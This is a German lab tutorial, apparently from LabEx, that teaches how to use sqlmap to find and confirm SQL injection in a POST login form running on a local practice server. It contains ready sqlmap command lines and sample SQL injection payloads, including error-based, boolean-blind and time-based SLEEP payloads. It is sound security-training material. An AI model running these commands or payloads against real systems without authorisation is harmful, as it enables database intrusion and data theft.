Einleitung
SQL-Injection ist eine kritische Schwachstelle in der Websicherheit, die es einem Angreifer ermöglicht, die Abfragen zu manipulieren, die eine Anwendung an ihre Datenbank stellt. Während sich viele Beispiele auf Schwachstellen in URL-Parametern (GET-Anfragen) konzentrieren, sind auch Formulare, die Daten über POST-Anfragen übermitteln, häufige Ziele.
In diesem Lab lernen Sie, wie Sie sqlmap, ein leistungsstarkes Open-Source-Penetration-Testing-Tool, verwenden, um den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen zu automatisieren. Insbesondere werden Sie sich darauf konzentrieren, ein Webformular anzuzielen, das die POST-Methode zur Datenübermittlung verwendet. Sie lernen, wie Sie die POST-Daten erfassen und an sqlmap übergeben, um einen umfassenden Scan durchzuführen.
Eine Webseite mit der POST-Methode identifizieren
In diesem Schritt starten Sie einen einfachen Webserver und identifizieren ein Webformular, das die HTTP-POST-Methode verwendet. POST-Anfragen sind dazu gedacht, Daten an einen Server zu senden, um eine Ressource zu erstellen oder zu aktualisieren. Dies macht sie zu einer gängigen Methode für die Übermittlung von Anmeldeformularen, Kommentaren oder anderen benutzergenerierten Inhalten.
Zuerst überprüfen wir, ob unsere Beispiel-Webanwendung läuft. Wir können curl verwenden, um die Hauptseite abzurufen.
Führen Sie den folgenden Befehl in Ihrem Terminal aus:
curl http://localhost:8000
Sie sollten den HTML-Quellcode einer einfachen Anmeldeseite sehen. Suchen Sie im Output nach dem <form>-Tag.
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body>
<h2>Login Form</h2>
<form action="login.php" method="POST">
<label for="username">Username:</label><br />
<input type="text" id="username" name="username" /><br />
<label for="password">Password:</label><br />
<input type="password" id="password" name="password" /><br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
Beachten Sie das Attribut method="POST" innerhalb des <form>-Tags. Dies weist den Browser an, die Formulardaten über eine POST-Anfrage an das login.php-Skript zu senden. Die Identifizierung dieses Formulars ist der erste Schritt zur Vorbereitung unseres sqlmap-Scans. Sie können auch den Firefox-Browser vom Desktop aus öffnen und zu http://localhost:8000 navigieren, um das Formular visuell zu betrachten.
Erfassen des POST-Datenstrings mit Browser-Entwicklertools
In diesem Schritt lernen Sie, wie Sie den von einer POST-Anfrage gesendeten Datenstring erfassen. sqlmap benötigt diese Daten, um zu wissen, welche Parameter auf SQL-Injection getestet werden sollen. Der einfachste Weg, diese Informationen zu erhalten, ist die Verwendung der integrierten Entwicklertools Ihres Browsers.
- Öffnen Sie den Firefox-Browser über die linke Anwendungsleiste in Ihrer LabEx-Umgebung.
- Navigieren Sie zu
http://localhost:8000. - Drücken Sie
F12oder klicken Sie mit der rechten Maustaste auf die Seite und wählen Sie "Untersuchen" (Inspect), um die Entwicklertools zu öffnen. - Klicken Sie im Entwicklertools-Panel auf den Tab Network.
- Geben Sie auf der Anmeldeseite einige Dummy-Daten in die Formularfelder ein. Verwenden Sie beispielsweise
testfür den Benutzernamen undtestfür das Passwort. - Klicken Sie auf den Login-Button.
- Im Network-Tab sehen Sie einen neuen Eintrag für
login.php. Klicken Sie darauf. - Ein neues Panel wird geöffnet. Suchen Sie nach einem Tab namens Request oder Payload. Hier finden Sie die Formulardaten, die an den Server gesendet wurden. Sie werden etwa so aussehen:
username=test&password=test
Dieser String, username=test&password=test, ist genau das, was wir für sqlmap benötigen. Er enthält die Parameternamen (username, password) und die von Ihnen übermittelten Werte.
Für den nächsten Schritt speichern wir diesen Datenstring in einer Datei in Ihrem ~/project-Verzeichnis. Dies ist für die Verwendung von sqlmap nicht unbedingt erforderlich, aber eine gute Praxis, um Ihre Ergebnisse im Auge zu behalten.
echo 'username=test&password=test' > ~/project/post_data.txt
Verwenden des --data-Flags zur Angabe von POST-Parametern
In diesem Schritt erstellen Sie einen grundlegenden sqlmap-Befehl mit dem --data-Flag. Dieses Flag ist unerlässlich, um sqlmap mitzuteilen, dass eine POST-Anfrage gesendet werden soll und welche Daten im Anfragekörper enthalten sein sollen.
Die grundlegende Syntax für einen POST-Scan in sqlmap lautet:
sqlmap -u "ZIEL_URL" --data="POST_DATENSTRING"
-u "ZIEL_URL": Gibt die URL an, die die Formulardaten verarbeitet. In unserem Fall ist dieshttp://localhost:8000/login.php.--data="POST_DATENSTRING": Stellt den Datenstring bereit, den Sie im vorherigen Schritt erfasst haben.
Führen wir einen Befehl aus, um zu sehen, wie sqlmap diese Informationen verarbeitet. Wir verwenden den zuvor gefundenen Datenstring. Dieser Befehl führt noch keinen vollständigen Scan durch; er hilft uns lediglich zu bestätigen, dass sqlmap die POST-Parameter korrekt identifiziert.
Führen Sie den folgenden Befehl in Ihrem Terminal aus:
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"
sqlmap wird gestartet und zeigt Ihnen einige anfängliche Informationen an. Es wird korrekt erkennen, dass die Anfrage eine POST-Anfrage ist und die Parameter username und password finden. Anschließend wird gefragt, ob Sie diese testen möchten.
[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test
Parameter: password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
[*] ending @ ...
Sie können n drücken, wenn Sie gefragt werden, ob das Passwort maskiert werden soll, und dann wird sqlmap fortfahren. Für diesen Schritt können Sie es laufen lassen oder Ctrl+C drücken, um zu beenden, nachdem Sie gesehen haben, dass die Parameter identifiziert wurden. Die wichtigste Erkenntnis ist das Verständnis der Funktionsweise des --data-Flags.
Ausführen des Scans auf der Ziel-URL mit POST-Daten
In diesem Schritt führen Sie einen vollständigen Scan des Ziels aus. Um den Prozess reibungsloser und nicht-interaktiv zu gestalten, fügen wir unserer sqlmap-Befehlszeile einige weitere Flags hinzu.
-p "username": Dieses Flag weistsqlmapan, seine Testbemühungen ausschließlich auf denusername-Parameter zu konzentrieren. Dies kann viel Zeit sparen, wenn Sie vermuten, dass ein bestimmter Parameter anfällig ist.--batch: Dieses Flag automatisiert den Prozess, indem essqlmapanweist, die Standardantwort für alle interaktiven Fragen zu verwenden, die es normalerweise stellen würde. Dies ist sehr nützlich für unbeaufsichtigte Scans.
Kombinieren wir nun alles zum endgültigen Befehl. Wir zielen auf die URL login.php, stellen die POST-Daten bereit, geben den zu testenden username-Parameter an und führen den Scan im Batch-Modus aus.
Führen Sie den folgenden Befehl in Ihrem Terminal aus:
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch
sqlmap beginnt nun mit einem umfassenden Scan des username-Parameters. Da unser anfälliges Skript eine sleep()-Funktion verwendet, um eine Datenbankverzögerung zu simulieren, wird sqlmap wahrscheinlich zeitbasierte Blind-Injection-Techniken verwenden. Diese Art von Scan kann einige Minuten dauern, da sqlmap mehrere Anfragen senden und die Antwortzeit für jede messen muss, um die Anfälligkeit zu bestätigen.
Während des Laufs sehen Sie eine Ausgabe, die der folgenden ähnelt:
...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
Lassen Sie den Scan abschließen. Er wird bestätigen, dass der username-Parameter anfällig ist.
Analyse der Ergebnisse einer POST-basierten SQL-Injection
In diesem Schritt analysieren Sie die Ausgabe von sqlmap, um die entdeckte Schwachstelle zu verstehen. Nach Abschluss des Scans aus dem vorherigen Schritt präsentiert sqlmap eine Zusammenfassung seiner Ergebnisse.
Die endgültige Ausgabe sieht ungefähr so aus:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
Lassen Sie uns dieses Ergebnis aufschlüsseln:
- Parameter: username (POST): Dies bestätigt, dass die Schwachstelle im
username-Parameter einer POST-Anfrage gefunden wurde. - Type: time-based blind: Dies ist die Art der SQL-Injection. "Blind" bedeutet, dass die Anwendung keine Datenbankfehler in ihren Antworten zurückgibt. "Time-based" bedeutet, dass
sqlmapdie Schwachstelle bestätigt hat, indem es Befehle injiziert hat, die eine Zeitverzögerung verursachen (z. B.SLEEP(5)), und die Antwortzeit des Servers gemessen hat. - Payload: Dies zeigt die tatsächliche bösartige Eingabe, die
sqlmapzur Bestätigung der Schwachstelle verwendet hat.
sqlmap speichert auch alle Sitzungsinformationen, einschließlich Protokolle und Ergebnisse, in einem Verzeichnis. Der Speicherort wird in der Ausgabe erwähnt, typischerweise ~/.sqlmap/output/. Sie können dieses Verzeichnis untersuchen, um detaillierte Protokolle des Scans zu finden.
Listen wir den Inhalt des Ergebnisverzeichnisses für unser Ziel auf:
ls -l ~/.sqlmap/output/localhost:8000
Sie werden Dateien wie log und session.sqlite sehen. Die Datei log enthält eine vollständige Aufzeichnung des Scans, die für detaillierte Analysen und Berichte nützlich ist.
total 24
-rw-r--r-- 1 labex labex 15589 Dec 6 15:30 log
-rw-r--r-- 1 labex labex 8192 Dec 6 15:30 session.sqlite
-rw-r--r-- 1 labex labex 0 Dec 6 15:29 target.txt
Sie haben nun erfolgreich eine POST-basierte SQL-Injection-Schwachstelle mit sqlmap identifiziert und bestätigt.
Zusammenfassung
In diesem Lab haben Sie gelernt, wie Sie sqlmap verwenden, um auf SQL-Injection-Schwachstellen in Webformularen zu testen, die die POST-Methode verwenden. Sie haben erfolgreich ein POST-Formular identifiziert, die notwendige Datenzeichenfolge mithilfe der Entwicklertools des Browsers erfasst und das --data-Flag in sqlmap verwendet, um die POST-Parameter anzugeben. Schließlich haben Sie einen Scan mit den Flags --batch und -p zur Automatisierung ausgeführt und die Ergebnisse analysiert, wodurch eine zeitbasierte Blind-SQL-Injection-Schwachstelle bestätigt wurde. Dieser Prozess ist eine grundlegende Fähigkeit für Sicherheitstests von Webanwendungen.


